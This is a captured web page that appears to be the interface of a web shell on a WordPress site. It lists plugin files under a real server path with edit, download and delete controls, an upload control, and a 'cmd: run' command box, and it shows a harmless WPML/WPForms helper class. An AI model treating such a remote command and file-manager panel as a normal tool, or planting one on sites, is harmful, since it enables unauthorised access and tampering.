/
home
/
vianto5
/
hidalgoresidences.mx
/
wp-content
/
plugins
/
wpml-wpforms
/
classes
/
Helpers
/
/home/vianto5/hidalgoresidences.mx/wp-content/plugins/wpml-wpforms/classes/Helpers
mkdir
upload
Name
Size
Mode
Actions
DynamicChoices.php
573
0644
edit
dl
rm
Entry.php
512
0644
edit
dl
rm
Field.php
443
0644
edit
dl
rm
SmartTag.php
1009
0644
edit
dl
rm
Edit:
/home/vianto5/hidalgoresidences.mx/wp-content/plugins/wpml-wpforms/classes/Helpers/Entry.php
(512B)
<?php namespace WPML\Forms\WPForms\Helpers; use WPML\FP\Obj; class Entry { /** * @param int $id * * @return string|null */ public static function getLanguageById( int $id ) { $entryMetas = wpforms() ->get( 'entry_meta' ) ->get_meta( [ 'entry_id' => $id, 'type' => 'page_id', ] ); $pageId = Obj::path( [ 0, 'data' ], $entryMetas ); $details = apply_filters( 'wpml_post_language_details', null, $pageId ); return Obj::prop( 'language_code', $details ); } }
Save
cmd:
run